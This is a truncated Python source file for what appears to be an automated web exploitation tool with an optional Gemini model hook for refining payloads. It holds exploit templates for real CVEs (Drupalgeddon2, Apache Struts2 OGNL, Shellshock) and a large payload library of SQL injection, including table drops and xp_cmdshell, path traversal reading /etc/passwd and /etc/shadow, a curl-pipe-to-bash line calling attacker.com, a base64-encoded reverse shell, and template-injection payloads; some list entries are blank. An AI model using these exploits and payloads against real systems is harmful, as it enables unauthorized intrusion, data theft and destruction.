import asyncio
import httpx
import ssl
import csv
import time
import json
import base64
import hashlib
import re
import urllib.parse
import pandas as pd
import gradio as gr
from collections import defaultdict
from typing import Dict, List, Tuple, Any, Optional
from pydantic import BaseModel, Field
from datetime import datetime
import traceback
try:
from google import genai
from google.genai import types
GEMINI_AVAILABLE = True
except ImportError:
GEMINI_AVAILABLE = False
# ==============================================================================
# ENGINE CONTROLS & HEADERS
# ==============================================================================
MAX_CONCURRENT_RECON = 30
SCAN_TIMEOUT = 8.0
EXPLOIT_TIMEOUT = 15.0
MAX_FIX_ITERATIONS = 3 # Maximum attempts to fix/refine a payload
HTTP_HEADERS = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
"Accept": "text/html,application/json,*/*",
"Accept-Language": "en-US,en;q=0.9",
"Accept-Encoding": "gzip, deflate",
"Connection": "keep-alive",
}
# ==============================================================================
# METASPLOIT EXPLOIT TEMPLATES
# ==============================================================================
METASPLOIT_TEMPLATES = {
"drupal_drupalgeddon2": {
"name": "Drupal Drupalgeddon 2 RCE",
"description": "Drupal < 7.58 / < 8.3.9 / < 8.4.6 / < 8.5.1 - RCE via form rendering",
"cve": "CVE-2018-7600",
"target_paths": ["/user/register", "/?q=user/register", "/user/password"],
"method": "POST",
"payload_template": {
"form_id": "user_register_form",
"mail[#post_render][]": "exec",
"mail[#type]": "markup",
"mail[#markup]": "{COMMAND}"
}
},
"joomla_http_header_rce": {
"name": "Joomla 3.0.0-3.4.6 RCE",
"description": "Joomla HTTP Header Unauthenticated Remote Code Execution",
"cve": "CVE-2015-8562",
"target_paths": ["/"],
"method": "GET",
"headers": {
"User-Agent": "() { :; }; echo; /bin/bash -c '{COMMAND}'"
}
},
"wordpress_xmlrpc_pingback": {
"name": "WordPress XML-RPC Pingback",
"description": "WordPress XML-RPC SSRF/Port Scanner",
"cve": "N/A",
"target_paths": ["/xmlrpc.php"],
"method": "POST",
"headers": {"Content-Type": "text/xml"},
"payload_template": """
pingback.ping
{TARGET_URL}
{BLOG_URL}
"""
},
"struts2_content_type": {
"name": "Apache Struts2 Content-Type RCE",
"description": "Apache Struts 2.3.5 - 2.3.31 / 2.5 - 2.5.10 RCE",
"cve": "CVE-2017-5638",
"target_paths": ["/"],
"method": "POST",
"headers": {
"Content-Type": "%{(#_='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='{COMMAND}').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
}
},
"shellshock": {
"name": "Shellshock (Bash Remote Code Execution)",
"description": "GNU Bash 4.3 and earlier Remote Code Execution",
"cve": "CVE-2014-6271",
"target_paths": ["/cgi-bin/status", "/cgi-bin/test.cgi", "/cgi-bin/admin.cgi"],
"method": "GET",
"headers": {
"User-Agent": "() { :; }; echo; /bin/bash -c '{COMMAND}'"
}
}
}
# ==============================================================================
# ADVANCED PAYLOAD LIBRARY (enriched)
# ==============================================================================
PAYLOAD_LIBRARY = {
"SQLi": {
"Time-Based Blind": [
"' OR SLEEP(5)--",
"' AND IF(1=1,SLEEP(5),0)--",
"'; WAITFOR DELAY '00:00:05'--",
"' OR pg_sleep(5)--",
"1' AND (SELECT * FROM (SELECT(SLEEP(5)))a)--",
"' OR 1=1 AND SLEEP(5)--",
"\" OR SLEEP(5)--",
"1; SELECT SLEEP(5)--",
],
"Union-Based": [
"' UNION SELECT NULL,NULL,NULL--",
"' UNION SELECT 1,@@version,3--",
"' UNION SELECT table_name,NULL FROM information_schema.tables--",
"-1' UNION ALL SELECT NULL,concat(username,0x3a,password),NULL FROM users--",
"' UNION SELECT NULL,group_concat(table_name),NULL FROM information_schema.tables WHERE table_schema=database()--",
"' UNION SELECT NULL,load_file('/etc/passwd'),NULL--",
],
"Error-Based": [
"' AND extractvalue(1,concat(0x7e,version()))--",
"' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT(version(),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)y)--",
"' OR 1=convert(int,(SELECT @@version))--",
"' AND updatexml(1,concat(0x7e,(SELECT database())),1)--",
"' AND exp(~(SELECT * FROM (SELECT user())a))--",
],
"Boolean-Based": [
"' AND '1'='1",
"' AND '1'='2",
"' AND SUBSTRING(@@version,1,1)='5'--",
"' AND ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),1,1))>100--",
"' AND (SELECT COUNT(*) FROM users)>0--",
"' OR EXISTS(SELECT * FROM users)--",
],
"Stacked-Queries": [
"'; INSERT INTO users VALUES('hacked','hacked')--",
"'; UPDATE users SET password='hacked' WHERE '1'='1'--",
"'; DROP TABLE users--",
"'; EXEC xp_cmdshell('whoami')--",
],
"WAF-Bypass": [
"' /*!OR*/ 1=1--",
"' OR/**/1=1--",
"' %4fR 1=1--",
"'/**/OR/**/1=1--",
"' oR sLeEp(5)--",
"' OR 0x31=0x31--",
],
},
"LFI": {
"Basic": [
"../../../../etc/passwd",
"..\\..\\..\\..\\windows\\win.ini",
"....//....//....//etc/passwd",
"..%2f..%2f..%2fetc%2fpasswd",
"/etc/passwd",
"../../etc/shadow",
"../../etc/hosts",
],
"Null-Byte": [
"../../../../etc/passwd%00",
"../../../../etc/passwd%00.jpg",
"../../../../etc/passwd\x00",
"../../../../etc/passwd%00.php",
],
"Encoding": [
"....%252f....%252f....%252fetc%252fpasswd",
"%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd",
"..%c0%af..%c0%af..%c0%afetc%c0%afpasswd",
"%252e%252e%252f%252e%252e%252fetc%252fpasswd",
"..%ef%bc%8f..%ef%bc%8fetc%ef%bc%8fpasswd",
],
"Filter-Bypass": [
"/var/www/../../etc/passwd",
r"....\/....\/....\/etc/passwd",
"/etc/passwd/.",
"php://filter/convert.base64-encode/resource=/etc/passwd",
],
"PHP-Wrappers": [
"php://filter/convert.base64-encode/resource=index.php",
"php://filter/read=string.rot13/resource=config.php",
"data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4=",
"php://input",
"phar://./test.phar/test.txt",
"zip://shell.jpg%23payload.php",
"expect://id",
],
"Log-Poisoning": [
"/var/log/apache2/access.log",
"/var/log/nginx/access.log",
"/proc/self/environ",
"/proc/self/fd/0",
"/var/log/auth.log",
],
},
"RCE": {
"Command-Injection": [
"; id",
"| whoami",
"`uname -a`",
"$(cat /etc/passwd)",
"; curl http://attacker.com/shell.sh | bash",
"&& id",
"|| id",
"; ls -la /",
"\n id",
"%0a id",
],
"PHP-Exec": [
"",
"",
"",
"",
"",
],
"Encoded": [
"; echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuMS80NDQ0IDA+JjE= | base64 -d | bash",
"; ${IFS}id",
"; cat",
"{{config.__class__.__init__.__globals__['os'].popen('id').read()}}",
"${T(java.lang.Runtime).getRuntime().exec('id')}",
],
},
"XSS": {
"Reflected": [
"",
"
",
"